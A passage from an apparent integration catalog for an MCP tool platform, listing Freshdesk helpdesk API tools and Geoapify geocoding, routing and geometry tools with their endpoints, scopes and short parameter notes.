an Archive Ticket via GET /api/v2/tickets/archived/{id} GET /api/v1/freshdesk/api/v2/tickets/archived/{id}. Scopes: api. freshdesk_get_tickets_archived_id_conversations (read) — List All Conversations of an Archive Ticket via GET /api/v2/tickets/archived/{id}/conversations. The reference documents 1 typed fields for this operation which this integration does not model as a schema: user_ids GET /api/v1/freshdesk/api/v2/tickets/archived/{id}/conversations. Scopes: api. freshdesk_get_tickets_id (read) — View a Ticket via GET /api/v2/tickets/{id} GET /api/v1/freshdesk/api/v2/tickets/{id}. Scopes: api. freshdesk_get_tickets_id_accesses (read) — Get Ticket User Access via GET /api/v2/tickets/{id}/accesses GET /api/v1/freshdesk/api/v2/tickets/{id}/accesses. Scopes: api. freshdesk_get_tickets_id_associated_tickets (read) — Get Associated Tickets via GET /api/v2/tickets/{id}/associated_tickets GET /api/v1/freshdesk/api/v2/tickets/{id}/associated_tickets. Scopes: api. freshdesk_get_tickets_id_conversations (read) — List All Conversations of a Ticket via GET /api/v2/tickets/{id}/conversations GET /api/v1/freshdesk/api/v2/tickets/{id}/conversations. Scopes: api. freshdesk_get_tickets_id_prime_association (read) — Get Prime Association of a Ticket via GET /api/v2/tickets/{id}/prime_association GET /api/v1/freshdesk/api/v2/tickets/{id}/prime_association. Scopes: api. freshdesk_get_tickets_id_summary (read) — View Summary via GET /api/v2/tickets/{id}/summary GET /api/v1/freshdesk/api/v2/tickets/{id}/summary. Scopes: api. freshdesk_get_tickets_id_time_entries (read) — List All Time Entries of a Ticket via GET /api/v2/tickets/{id}/time_entries GET /api/v1/freshdesk/api/v2/tickets/{id}/time_entries. Scopes: api. freshdesk_get_tickets_id_watchers (read) — List all watchers via GET /api/v2/tickets/{id}/watchers GET /api/v1/freshdesk/api/v2/tickets/{id}/watchers. Scopes: api. freshdesk_get_tickets_ticket_id_satisfaction_ratings (read) — List All Satisfaction Ratings of a Ticket via GET /api/v2/tickets/{ticket_id}/satisfaction_ratings GET /api/v1/freshdesk/api/v2/tickets/{ticket_id}/satisfaction_ratings. Scopes: api. freshdesk_get_time_entries (read) — List All Time Entries via GET /api/v2/time_entries GET /api/v1/freshdesk/api/v2/time_entries. Scopes: api. freshdesk_patch_admin_groups_id_agents (write) — Add or Remove Agents in a Group via PATCH /api/v2/admin/groups/{id}/agents PATCH /api/v1/freshdesk/api/v2/admin/groups/{id}/agents. Scopes: api. freshdesk_patch_tickets_id_accesses (write) — Update Ticket User Access via PATCH /api/v2/tickets/{id}/accesses PATCH /api/v1/freshdesk/api/v2/tickets/{id}/accesses. Scopes: api. freshdesk_post_admin_groups (write) — Create a Group via POST /api/v2/admin/groups POST /api/v1/freshdesk/api/v2/admin/groups. Scopes: api. freshdesk_post_admin_skills (write) — Create a Skill via POST /api/v2/admin/skills POST /api/v1/freshdesk/api/v2/admin/skills. Scopes: api. freshdesk_post_admin_ticket_fields (write) — Create a Ticket Field via POST /api/v2/admin/ticket_fields POST /api/v1/freshdesk/api/v2/admin/ticket_fields. Scopes: api. freshdesk_post_admin_ticket_fields_id_sections (write) — Create a Section via POST /api/v2/admin/ticket_fields/{id}/sections POST /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}/sections. Scopes: api. freshdesk_post_agents (write) — Create an Agent via POST /api/v2/agents POST /api/v1/freshdesk/api/v2/agents. Scopes: api. freshdesk_post_agents_bulk (write) — Create Multiple Agents via POST /api/v2/agents/bulk POST /api/v1/freshdesk/api/v2/agents/bulk. Scopes: api. freshdesk_post_automations_automation_type_id_rules (write) — Create an Automation Rule via POST /api/v2/automations/{automation_type_id}/rules. The reference documents 2 typed fields for this operation which this integration does not model as a schema: auth_header, custom_headers POST /api/v1/freshdesk/api/v2/automations/{automation_type_id}/rules. Scopes: api. freshdesk_post_canned_response_folder (write) — Create Folder via POST /api/v2/canned_response_folder POST /api/v1/freshdesk/api/v2/canned_response_folder. Scopes: api. freshdesk_post_canned_response_folders (write) — Create Folder via POST /api/v2/canned_response_folders POST /api/v1/freshdesk/api/v2/canned_response_folders. Scopes: api. freshdesk_post_canned_responses (write) — Create a canned response via POST /api/v2/canned_responses POST /api/v1/freshdesk/api/v2/canned_responses. Scopes: api. freshdesk_post_canned_responses_bulk (write) — Bulk Create Canned Responses via POST /api/v2/canned_responses/bulk POST /api/v1/freshdesk/api/v2/canned_responses/bulk. Scopes: api. freshdesk_post_channels_outbound_messages (write) — Send Proactive Message via POST /api/v2/channels/outbound-messages POST /api/v1/freshdesk/api/v2/channels/outbound-messages. Scopes: api. freshdesk_post_companies (write) — Create a Company via POST /api/v2/companies POST /api/v1/freshdesk/api/v2/companies. Scopes: api. freshdesk_post_contact_activities (write) — Publish Activities via POST /api/v2/contact-activities POST /api/v1/freshdesk/api/v2/contact-activities. Scopes: api. freshdesk_post_contact_fields (write) — Create a contact field via POST /api/v2/contact_fields POST /api/v1/freshdesk/api/v2/contact_fields. Scopes: api. freshdesk_post_contacts (write) — Create a Contact via POST /api/v2/contacts POST /api/v1/freshdesk/api/v2/contacts. Scopes: api. freshdesk_post_contacts_merge (write) — Merge Contacts via POST /api/v2/contacts/merge POST /api/v1/freshdesk/api/v2/contacts/merge. Scopes: api. freshdesk_post_custom_objects_schemas_schema_id_records (write) — Create A Record via POST /api/v2/custom_objects/schemas/{schema-id}/records POST /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}/records. Scopes: api. freshdesk_post_customer_satisfaction_surveys_survey_id_responses (write) — Create a Survey Response via POST /api/v2/customer-satisfaction/surveys/{survey_id}/responses POST /api/v1/freshdesk/api/v2/customer-satisfaction/surveys/{survey_id}/responses. Scopes: api. freshdesk_post_discussions_categories (write) — Create a Forum Category via POST /api/v2/discussions/categories POST /api/v1/freshdesk/api/v2/discussions/categories. Scopes: api. freshdesk_post_discussions_categories_category_id_forums (write) — Create A Forum via POST /api/v2/discussions/categories/{category_id}/forums POST /api/v1/freshdesk/api/v2/discussions/categories/{category_id}/forums. Scopes: api. freshdesk_post_discussions_forums_forum_id_topics (write) — Create a Topic via POST /api/v2/discussions/forums/{forum_id}/topics POST /api/v1/freshdesk/api/v2/discussions/forums/{forum_id}/topics. Scopes: api. freshdesk_post_discussions_forums_id_follow (write) — Monitor Forum via POST /api/v2/discussions/forums/{id}/follow POST /api/v1/freshdesk/api/v2/discussions/forums/{id}/follow. Scopes: api. freshdesk_post_discussions_topics_id_follow (write) — Monitor Topic via POST /api/v2/discussions/topics/{id}/follow POST /api/v1/freshdesk/api/v2/discussions/topics/{id}/follow. Scopes: api. freshdesk_post_discussions_topics_topic_id_comments (write) — Create A Comment via POST /api/v2/discussions/topics/{topic_id}/comments POST /api/v1/freshdesk/api/v2/discussions/topics/{topic_id}/comments. Scopes: api. freshdesk_post_email_mailboxes (write) — Create an Email Mailbox via POST /api/v2/email/mailboxes POST /api/v1/freshdesk/api/v2/email/mailboxes. Scopes: api. freshdesk_post_groups (write) — Create a Group via POST /api/v2/groups POST /api/v1/freshdesk/api/v2/groups. Scopes: api. freshdesk_post_sla_policies (write) — Create SLA Policies via POST /api/v2/sla_policies POST /api/v1/freshdesk/api/v2/sla_policies. Scopes: api. freshdesk_post_solutions_articles_id_language_code (write) — Create a Solution Article via POST /api/v2/solutions/articles/{id}/{language_code} POST /api/v1/freshdesk/api/v2/solutions/articles/{id}/{language_code}. Scopes: api. freshdesk_post_solutions_categories (write) — Create a Solution Category via POST /api/v2/solutions/categories POST /api/v1/freshdesk/api/v2/solutions/categories. Scopes: api. freshdesk_post_solutions_categories_id_folders (write) — Create a Solution Folder via POST /api/v2/solutions/categories/{id}/folders POST /api/v1/freshdesk/api/v2/solutions/categories/{id}/folders. Scopes: api. freshdesk_post_solutions_categories_id_language_code (write) — Create a Solution Category via POST /api/v2/solutions/categories/{id}/{language_code} POST /api/v1/freshdesk/api/v2/solutions/categories/{id}/{language_code}. Scopes: api. freshdesk_post_solutions_folders_id_articles (write) — Create a Solution Article via POST /api/v2/solutions/folders/{id}/articles POST /api/v1/freshdesk/api/v2/solutions/folders/{id}/articles. Scopes: api. freshdesk_post_solutions_folders_id_language_code (write) — Create a Solution Folder via POST /api/v2/solutions/folders/{id}/{language_code} POST /api/v1/freshdesk/api/v2/solutions/folders/{id}/{language_code}. Scopes: api. freshdesk_post_ticket_forms (write) — Create a Ticket Form via POST /api/v2/ticket-forms POST /api/v1/freshdesk/api/v2/ticket-forms. Scopes: api. freshdesk_post_ticket_forms_form_id_fields_field_id (write) — Update A Ticket Form's Field via POST /api/v2/ticket-forms/{form_id}/fields/{field_id} POST /api/v1/freshdesk/api/v2/ticket-forms/{form_id}/fields/{field_id}. Scopes: api. freshdesk_post_tickets (write) — Create a Ticket via POST /api/v2/tickets POST /api/v1/freshdesk/api/v2/tickets. Scopes: api. freshdesk_post_tickets_bulk_delete (write, destructive) — Delete Multiple Tickets via POST /api/v2/tickets/bulk_delete POST /api/v1/freshdesk/api/v2/tickets/bulk_delete. Scopes: api. freshdesk_post_tickets_bulk_update (write) — Update Multiple Tickets via POST /api/v2/tickets/bulk_update POST /api/v1/freshdesk/api/v2/tickets/bulk_update. Scopes: api. freshdesk_post_tickets_id_accesses (write) — Add Ticket User Access via POST /api/v2/tickets/{id}/accesses POST /api/v1/freshdesk/api/v2/tickets/{id}/accesses. Scopes: api. freshdesk_post_tickets_id_forward (write) — Forward a ticket via POST /api/v2/tickets/{id}/forward POST /api/v1/freshdesk/api/v2/tickets/{id}/forward. Scopes: api. freshdesk_post_tickets_id_reply (write) — Create a Reply via POST /api/v2/tickets/{id}/reply POST /api/v1/freshdesk/api/v2/tickets/{id}/reply. Scopes: api. freshdesk_post_tickets_id_reply_to_forward (write) — Reply to Forward via POST /api/v2/tickets/{id}/reply_to_forward POST /api/v1/freshdesk/api/v2/tickets/{id}/reply_to_forward. Scopes: api. freshdesk_post_tickets_id_watch (write) — Add watcher via POST /api/v2/tickets/{id}/watch POST /api/v1/freshdesk/api/v2/tickets/{id}/watch. Scopes: api. freshdesk_post_tickets_outbound_email (write) — Create an Outbound Email via POST /api/v2/tickets/outbound_email POST /api/v1/freshdesk/api/v2/tickets/outbound_email. Scopes: api. freshdesk_post_tickets_ticket_id_notes (write) — Create a Note via POST /api/v2/tickets/{ticket_id}/notes POST /api/v1/freshdesk/api/v2/tickets/{ticket_id}/notes. Scopes: api. freshdesk_post_tickets_ticket_id_satisfaction_ratings (write) — Create a Satisfaction Rating via POST /api/v2/tickets/{ticket_id}/satisfaction_ratings POST /api/v1/freshdesk/api/v2/tickets/{ticket_id}/satisfaction_ratings. Scopes: api. freshdesk_post_tickets_ticket_id_time_entries (write) — Create a Time Entry via POST /api/v2/tickets/{ticket_id}/time_entries POST /api/v1/freshdesk/api/v2/tickets/{ticket_id}/time_entries. Scopes: api. freshdesk_put_admin_groups_id (write) — Update a Group via PUT /api/v2/admin/groups/{id} PUT /api/v1/freshdesk/api/v2/admin/groups/{id}. Scopes: api. freshdesk_put_admin_ticket_fields_id (write) — Update a Ticket Field via PUT /api/v2/admin/ticket_fields/{id} PUT /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}. Scopes: api. freshdesk_put_admin_ticket_fields_id_sections_section_id (write) — Update a section via PUT /api/v2/admin/ticket_fields/{id}/sections/{section_id} PUT /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}/sections/{section_id}. Scopes: api. freshdesk_put_agents_id (write) — Update an Agent via PUT /api/v2/agents/{id} PUT /api/v1/freshdesk/api/v2/agents/{id}. Scopes: api. freshdesk_put_agents_id_availability (write) — Update Agent load settings via PUT /api/v2/agents/{id}/availability PUT /api/v1/freshdesk/api/v2/agents/{id}/availability. Scopes: api. freshdesk_put_automations_automation_type_id_rules_id (write) — Update an Automation Rule via PUT /api/v2/automations/{automation_type_id}/rules/{id} PUT /api/v1/freshdesk/api/v2/automations/{automation_type_id}/rules/{id}. Scopes: api. freshdesk_put_canned_response_folder_id (write) — Update Folder via PUT /api/v2/canned_response_folder/{id} PUT /api/v1/freshdesk/api/v2/canned_response_folder/{id}. Scopes: api. freshdesk_put_canned_response_folders_id (write) — Update Folder via PUT /api/v2/canned_response_folders/{id} PUT /api/v1/freshdesk/api/v2/canned_response_folders/{id}. Scopes: api. freshdesk_put_companies_id (write) — Update a Company via PUT /api/v2/companies/{id} PUT /api/v1/freshdesk/api/v2/companies/{id}. Scopes: api. freshdesk_put_companies_imports_id_cancel (write) — Company Import via PUT /api/v2/companies/imports/{id}/cancel. The reference documents 4 typed fields for this operation which this integration does not model as a schema: custom_number, custom_paragraph, custom_phone_number, position PUT /api/v1/freshdesk/api/v2/companies/imports/{id}/cancel. Scopes: api. freshdesk_put_contact_fields_id (write) — Update a contact field via PUT /api/v2/contact_fields/{id} PUT /api/v1/freshdesk/api/v2/contact_fields/{id}. Scopes: api. freshdesk_put_contacts_id (write) — Update a Contact via PUT /api/v2/contacts/{id} PUT /api/v1/freshdesk/api/v2/contacts/{id}. Scopes: api. freshdesk_put_contacts_id_make_agent (write) — Make Agent via PUT /api/v2/contacts/{id}/make_agent PUT /api/v1/freshdesk/api/v2/contacts/{id}/make_agent. Scopes: api. freshdesk_put_contacts_id_restore (write) — Restore a Contact via PUT /api/v2/contacts/{id}/restore PUT /api/v1/freshdesk/api/v2/contacts/{id}/restore. Scopes: api. freshdesk_put_contacts_id_send_invite (write) — Send Invite to a Contact via PUT /api/v2/contacts/{id}/send_invite PUT /api/v1/freshdesk/api/v2/contacts/{id}/send_invite. Scopes: api. freshdesk_put_contacts_imports_id_cancel (write) — Contact Import via PUT /api/v2/contacts/imports/{id}/cancel. The reference documents 4 typed fields for this operation which this integration does not model as a schema: custom_number, custom_paragraph, custom_phone_number, id PUT /api/v1/freshdesk/api/v2/contacts/imports/{id}/cancel. Scopes: api. freshdesk_put_conversations_id (write) — Update a conversation via PUT /api/v2/conversations/{id} PUT /api/v1/freshdesk/api/v2/conversations/{id}. Scopes: api. freshdesk_put_custom_objects_schemas_schema_id_records_record_id (write) — Update A Record via PUT /api/v2/custom_objects/schemas/{schema-id}/records/{record-id} PUT /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}/records/{record_id}. Scopes: api. freshdesk_put_discussions_categories_id (write) — Update a Forum Category via PUT /api/v2/discussions/categories/{id} PUT /api/v1/freshdesk/api/v2/discussions/categories/{id}. Scopes: api. freshdesk_put_discussions_comments_id (write) — Update A Comment via PUT /api/v2/discussions/comments/{id} PUT /api/v1/freshdesk/api/v2/discussions/comments/{id}. Scopes: api. freshdesk_put_discussions_forums_id (write) — Update a Forum via PUT /api/v2/discussions/forums/{id} PUT /api/v1/freshdesk/api/v2/discussions/forums/{id}. Scopes: api. freshdesk_put_discussions_topics_id (write) — Update a Topic via PUT /api/v2/discussions/topics/{id} PUT /api/v1/freshdesk/api/v2/discussions/topics/{id}. Scopes: api. freshdesk_put_email_mailboxes_id (write) — Update an Email Mailbox via PUT /api/v2/email/mailboxes/{id} PUT /api/v1/freshdesk/api/v2/email/mailboxes/{id}. Scopes: api. freshdesk_put_email_settings (write) — Update Mailbox Settings via PUT /api/v2/email/settings PUT /api/v1/freshdesk/api/v2/email/settings. Scopes: api. freshdesk_put_groups_id (write) — Update a Group via PUT /api/v2/groups/{id} PUT /api/v1/freshdesk/api/v2/groups/{id}. Scopes: api. freshdesk_put_notifications_email_bcc (write) — Update Automatic Bcc emails via PUT /api/v2/notifications/email/bcc PUT /api/v1/freshdesk/api/v2/notifications/email/bcc. Scopes: api. freshdesk_put_sla_policies_id (write) — Update an SLA Policy via PUT /api/v2/sla_policies/{id} PUT /api/v1/freshdesk/api/v2/sla_policies/{id}. Scopes: api. freshdesk_put_solutions_articles_id (write) — Update a Solution Article via PUT /api/v2/solutions/articles/{id} PUT /api/v1/freshdesk/api/v2/solutions/articles/{id}. Scopes: api. freshdesk_put_solutions_articles_id_language_code (write) — Update a Solution Article via PUT /api/v2/solutions/articles/{id}/{language_code} PUT /api/v1/freshdesk/api/v2/solutions/articles/{id}/{language_code}. Scopes: api. freshdesk_put_solutions_categories_id (write) — Update a Solution Category via PUT /api/v2/solutions/categories/{id} PUT /api/v1/freshdesk/api/v2/solutions/categories/{id}. Scopes: api. freshdesk_put_solutions_categories_id_language_code (write) — Update a Solution Category via PUT /api/v2/solutions/categories/{id}/{language_code} PUT /api/v1/freshdesk/api/v2/solutions/categories/{id}/{language_code}. Scopes: api. freshdesk_put_solutions_folders_id (write) — Update a Solution Folder via PUT /api/v2/solutions/folders/{id} PUT /api/v1/freshdesk/api/v2/solutions/folders/{id}. Scopes: api. freshdesk_put_solutions_folders_id_language_code (write) — Update a Solution Folder via PUT /api/v2/solutions/folders/{id}/{language_code} PUT /api/v1/freshdesk/api/v2/solutions/folders/{id}/{language_code}. Scopes: api. freshdesk_put_ticket_forms_id (write) — Update a Ticket Form via PUT /api/v2/ticket-forms/{id} PUT /api/v1/freshdesk/api/v2/ticket-forms/{id}. Scopes: api. freshdesk_put_tickets_bulk_unwatch (write) — Remove watcher from multiple tickets via PUT /api/v2/tickets/bulk_unwatch PUT /api/v1/freshdesk/api/v2/tickets/bulk_unwatch. Scopes: api. freshdesk_put_tickets_bulk_watch (write) — Add watcher to multiple tickets via PUT /api/v2/tickets/bulk_watch PUT /api/v1/freshdesk/api/v2/tickets/bulk_watch. Scopes: api. freshdesk_put_tickets_id (write) — Update a Ticket via PUT /api/v2/tickets/{id} PUT /api/v1/freshdesk/api/v2/tickets/{id}. Scopes: api. freshdesk_put_tickets_id_restore (write) — Restore a Ticket via PUT /api/v2/tickets/{id}/restore PUT /api/v1/freshdesk/api/v2/tickets/{id}/restore. Scopes: api. freshdesk_put_tickets_id_summary (write) — Update Summary via PUT /api/v2/tickets/{id}/summary PUT /api/v1/freshdesk/api/v2/tickets/{id}/summary. Scopes: api. freshdesk_put_tickets_id_unwatch (write) — Remove watcher via PUT /api/v2/tickets/{id}/unwatch PUT /api/v1/freshdesk/api/v2/tickets/{id}/unwatch. Scopes: api. freshdesk_put_tickets_merge (write) — Ticket Merge API via PUT /api/v2/tickets/merge PUT /api/v1/freshdesk/api/v2/tickets/merge. Scopes: api. freshdesk_put_time_entries_id (write) — Update a Time Entry via PUT /api/v2/time_entries/{id} PUT /api/v1/freshdesk/api/v2/time_entries/{id}. Scopes: api. freshdesk_put_time_entries_time_entry_id_toggle_timer (write) — Start/Stop Timer via PUT /api/v2/time_entries/{time_entry_id}/toggle_timer PUT /api/v1/freshdesk/api/v2/time_entries/{time_entry_id}/toggle_timer. Scopes: api. ================================================================================ ## Geoapify URL: https://www.agenticfabriq.com/integrations/geoapify Section: Integrated Tools Geoapify — 27 MCP tools Provider key: geoapify. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. geoapify_get_batch (read) — Retrieves the processing status or completed results for a generic batch job. - Provide the 32-character batch job `id` returned by the submit operation. - Poll while the endpoint returns `202`; the results are ready when it returns `200`. via GET https://api.geoapify.com/v1/batch GET /api/v1/geoapify/batch. Scopes: api. geoapify_get_batch_geocode_reverse (read) — Retrieves the status or normalized results of a reverse geocoding batch. - Provide the `id` returned when the batch was submitted. - Use `format=json` for structured results or `format=csv` for a downloadable table. Returns `202` while processing or `200` when results are ready. via GET https://api.geoapify.com/v1/batch/geocode/reverse GET /api/v1/geoapify/batch/geocode/reverse. Scopes: api. geoapify_get_batch_geocode_search (read) — Retrieve batch geocode search status or normalized results. via GET https://api.geoapify.com/v1/batch/geocode/search GET /api/v1/geoapify/batch/geocode/search. Scopes: api. geoapify_get_boundaries_consists_of (read) — Find child boundaries contained by the place identified by `id`. Use `boundary` to select the boundary type, `sublevel` to control the nested administrative depth, and `geometry` to choose representative points or simplified polygons. via GET https://api.geoapify.com/v1/boundaries/consists-of GET /api/v1/geoapify/boundaries/consists-of. Scopes: api. geoapify_get_boundaries_part_of (read) — Find boundaries that contain one place. Use one lookup method: a Geoapify `id` (recommended), a `lat` and `lon` pair, or an `osm_id` and `osm_type` pair. Do not combine lookup methods. Use `boundaries` to restrict the returned boundary types and `geometry` to choose representative points or simplified boundary polygons. **Example:** The preset `id` represents South Carolina, United States, and `geometry=point` returns a representative point for each containing boundary. via GET https://api.geoapify.com/v1/boundaries/part-of GET /api/v1/geoapify/boundaries/part-of. Scopes: api. geoapify_get_geocode_autocomplete (read) — Returns address and place suggestions for partial text. - `text` is required and may contain a partial address or place name. - `filter` restricts results; `bias` influences ranking without excluding matches. - Use `limit` to control the number of returned suggestions. **Example:** `text=Orle` via GET https://api.geoapify.com/v1/geocode/autocomplete GET /api/v1/geoapify/geocode/autocomplete. Scopes: api. geoapify_get_geocode_reverse (read) — Finds the nearest address or place for geographic coordinates. - Provide both `lat` and `lon`. - Use `type` to request a specific location type. - Use `limit` to control the number of returned results. **Example:** `lat=42.365344&lon=-71.052655` via GET https://api.geoapify.com/v1/geocode/reverse GET /api/v1/geoapify/geocode/reverse. Scopes: api. geoapify_get_geocode_search (read) — Use one input mode: `text` for a free-form address, or one or more structured address parameters (`name`, `housenumber`, `street`, `postcode`, `city`, `state`, `country`). Do not combine `text` with structured address parameters. via GET https://api.geoapify.com/v1/geocode/search GET /api/v1/geoapify/geocode/search. Scopes: api. geoapify_get_geometry (read) — Combines two or more previously generated or stored geometries and returns a new GeoJSON FeatureCollection. - Repeat the `id` query parameter for every input geometry; at least two IDs are required. - Use `operation=union` to merge all covered areas, or `operation=intersection` to return only their common area. - Input IDs can come from APIs that return reusable geometry or isoline IDs, or from `POST /geometry`. - The default `format=geojson` response includes a new `properties.id` that can be reused in later Geometry API calls. - `topojson` returns TopoJSON and `geobuf` returns a binary Geobuf payload. **Example:** union two 600-second drive isolines near Philadelphia, Pennsylvania. via GET https://api.geoapify.com/v1/geometry GET /api/v1/geoapify/geometry. Scopes: api. geoapify_get_ipinfo (read) — Returns an approximate geographic location and regional metadata for an IP address. - Provide `ip` to look up a specific IPv4 or IPv6 address. - Omit `ip` to use the client address detected by the API. - Use `lang` to select the preferred result language. via GET https://api.geoapify.com/v1/ipinfo GET /api/v1/geoapify/ipinfo. Scopes: api. geoapify_get_isoline (read) — Calculates the area reachable from an origin within one or more travel-time or travel-distance limits. - To calculate an isoline, provide `lat`, `lon`, `type`, `mode`, and one or more `range` values. - With `type=time`, each range is travel time in seconds. With `type=distance`, ranges use meters for `units=metric` or miles for `units=imperial`. - Up to 10 ranges can be requested; the GeoJSON response contains one Polygon or MultiPolygon feature per range. - `transit` and `approximated_transit` support time-based isolines only. - Alternatively, provide only `id` to retrieve a previously generated isoline. - The default `format=geojson` response is a GeoJSON FeatureCollection. `topojson` and `geobuf` are available for clients that support those formats. **Example:** `lat=36.9743711&lon=-76.4166222&type=time&mode=drive&range=900` via GET https://api.geoapify.com/v1/isoline GET /api/v1/geoapify/isoline. Scopes: api. geoapify_get_place_details (read) — Retrieve information and geometry for one place. Use one lookup method: a Geoapify `id` (recommended), a `lat` and `lon` pair, or an `osm_id` and `osm_type` pair. Do not combine lookup methods. The `features` parameter controls whether the response contains the primary place details, building information, radius areas, or walking and driving isolines. When omitted, `features` defaults to `details`. **Example:** The preset `id` retrieves details and the original polygon geometry for Renton Stadium in Renton, Washington. via GET https://api.geoapify.com/v2/place-details GET /api/v1/geoapify/place-details. Scopes: api. geoapify_get_place_info (read) — Get place information via GET https://api.geoapify.com/v2/place-info GET /api/v1/geoapify/place-info. Scopes: api. geoapify_get_places (read) — Find places and points of interest matching one or more categories. Provide at least one spatial control: `filter` limits which places can be returned, while `bias` changes their ranking without excluding results. You can use both together. **Example:** `categories=commercial&filter=circle:-89.9324386707035,35.143833853955485,1000&bias=proximity:-89.9324386707035,35.143833853955485&limit=20` searches for commercial places within 1,000 meters of a point in Memphis, Tennessee, and ranks the nearest results first. via GET https://api.geoapify.com/v2/places GET /api/v1/geoapify/places. Scopes: api. geoapify_get_postcode_list (read) — Lists postcode features using optional text, spatial, and country constraints. - `filter` restricts which results are returned. - `bias` influences result order without excluding matches. - Use `limit` and `offset` to paginate results. - Use `geometry=point` for point representations or `geometry=original` for source geometry. via GET https://api.geoapify.com/v1/postcode/list GET /api/v1/geoapify/postcode/list. Scopes: api. geoapify_get_postcode_search (read) — Searches for postcode features by postcode text or geographic coordinates. - Provide `postcode`, or provide both `lat` and `lon`. - Do not combine `postcode` with coordinate search. - Use `geometry=point` for a point representation or `geometry=original` for source geometry. **Example:** `postcode=10117` via GET https://api.geoapify.com/v1/postcode/search GET /api/v1/geoapify/postcode/search. Scopes: api. geoapify_get_routing (read) — Calculates a route through two or more ordered waypoints. - Provide each waypoint as `latitude,longitude`; separate waypoints with `|`. - `waypoints` and `mode` are required. The example uses passenger-car routing (`mode=drive`). - The default `geojson` response contains route geometry, distance, travel time, legs, steps, and turn-by-turn instructions. - Use `format=json` for a plain JSON result or `format=xml` for XML. **Example:** `waypoints=43.424923,-123.298537|43.261954,-123.350676|43.120223,-123.398972&mode=drive` via GET https://api.geoapify.com/v1/routing GET /api/v1/geoapify/routing. Scopes: api. geoapify_get_styles_by_style_style_json (read) — Returns a MapLibre style document ready for a compatible renderer. - References Geoapify map sources, sprites, and glyphs. - Uses the selected `style`. **Example:** `/styles/osm-bright/style.json` **Specification:** [MapLibre Style Specification](https://maplibre.org/maplibre-style-spec/) via GET https://maps.geoapify.com/v1/styles/{style}/style.json GET /api/v1/geoapify/styles/{style}/style.json. Scopes: api. geoapify_post_batch (write) — Creates a job that processes up to 1000 requests for one supported Geoapify API endpoint. - Use batch processing to send multiple requests together or to execute a task asynchronously. - Put shared query parameters in top-level `params` and shared request data in top-level `body`; input-level values define each individual request. - Every input must contain `params`, `body`, or both. Body-based APIs do not require an empty `params` object. - Set `priority` from `0.5` to `1`. A value of `0.5` spends 50% of the normal credits but can take longer; `1` spends the full credits and is processed faster. Returns `202` while the job is processing or `200` if it completes immediately. via POST https://api.geoapify.com/v1/batch POST /api/v1/geoapify/batch. Scopes: api. geoapify_post_batch_geocode_reverse (write) — Submits up to 1000 coordinates for asynchronous reverse geocoding. - Use `[lon, lat]` arrays or `{ "lon": ..., "lat": ... }` objects. - Coordinates in arrays are longitude first, then latitude. - One result is requested for each input coordinate. Returns `202` while processing or `200` when the batch completes immediately. via POST https://api.geoapify.com/v1/batch/geocode/reverse POST /api/v1/geoapify/batch/geocode/reverse. Scopes: api. geoapify_post_batch_geocode_search (write) — Submit up to 1000 free-text addresses for asynchronous geocoding. One result is requested per input address. via POST https://api.geoapify.com/v1/batch/geocode/search POST /api/v1/geoapify/batch/geocode/search. Scopes: api. geoapify_post_geodata_elevation (write) — Returns terrain elevation for 1–1,000 geographic locations while preserving their input order. - Send locations as `[longitude, latitude]` arrays (recommended) or objects with numeric `lat` and `lon` fields. - `format=json` returns a `results` array. `format=geojson` returns one GeoJSON Point feature per input location. - `units=metric` returns elevation in meters (`m`); `units=imperial` returns rounded feet (`ft`). - Set `includeDistance=true` to include the distance from the previous location. The first result has distance `0`. - Elevation or distance can be `null` when the underlying terrain service has no value. **Example:** four locations northeast of San Antonio, Texas, requested as JSON with metric units. via POST https://api.geoapify.com/v1/geodata/elevation POST /api/v1/geoapify/geodata/elevation. Scopes: api. geoapify_post_geometry (write) — Stores a GeoJSON geometry and returns an ID for later Geometry API operations. - Send a GeoJSON FeatureCollection, Feature, or geometry object in the request body. - Keep the returned `id` and pass it as one of the repeated `id` parameters in `GET /geometry`. - Use the GET operation with at least two IDs to calculate a union or intersection. via POST https://api.geoapify.com/v1/geometry POST /api/v1/geoapify/geometry. Scopes: api. geoapify_post_geometry_operation (write) — Runs one of 42 spatial operations on GeoJSON geometries and returns a consistent `{type, data}` result. - Set `operation` and provide its named input fields, such as `polygons`, `points`, `geometry`, `point`, `line`, or `bbox`. - Do not send the legacy `inputs` array. The operation examples show the required field combination for common tasks. - GeoJSON coordinates use `[longitude, latitude]` order. - Put operation-specific options in `params`, including units, tolerance, clustering settings, or transformation options. - Set operations accept 2–100 polygons; point operations accept up to 1,000 points; multi-geometry operations accept up to 100 geometries. - The response `type` is `geojson`, `number`, `boolean`, or `empty`; `data` contains the corresponding result or `null`. **Examples:** choose a request example to calculate an intersection, predicate, measurement, buffer, bounding box, center, simplification, or point-on-line result. via POST https://api.geoapify.com/v1/geometry/operation POST /api/v1/geoapify/geometry/operation. Scopes: api. geoapify_post_mapmatching (write) — Snaps an ordered GPS trace to a plausible route on the routable road network. - Send `mode` and 1–1,000 `waypoints` in a JSON body. - Each waypoint `location` uses GeoJSON coordinate order: `[longitude, latitude]`. - Optional timestamps help calculate effective speed and reject implausible measurements. - Optional bearings describe recorded travel direction in degrees clockwise from north. - Waypoint order is preserved; points may be matched, unmatched, interpolated, or merged. - The response is a GeoJSON `FeatureCollection` with `MultiLineString` route geometry, matched waypoint metadata, legs, and road-level steps. **Example:** a 35-point timestamped GPS trace matched with `mode=drive`. via POST https://api.geoapify.com/v1/mapmatching POST /api/v1/geoapify/mapmatching. Scopes: api. geoapify_post_routematrix (write) — Calculates travel distances and times from every source to every target. - Send a JSON body with `mode`, `sources`, and `targets`. - Each `location` uses GeoJSON coordinate order: `[longitude, latitude]`. - `sources_to_targets[i][j]` describes the route from `sources[i]` to `targets[j]`. - Repeat the same locations in `sources` and `targets` to calculate a square all-to-all matrix. - A regular API call supports up to 1,000 matrix cells (`sources.length × targets.length`). - `distance` or `time` can be `null` when no route is available for a source-target pair. **Example:** a 3 × 3 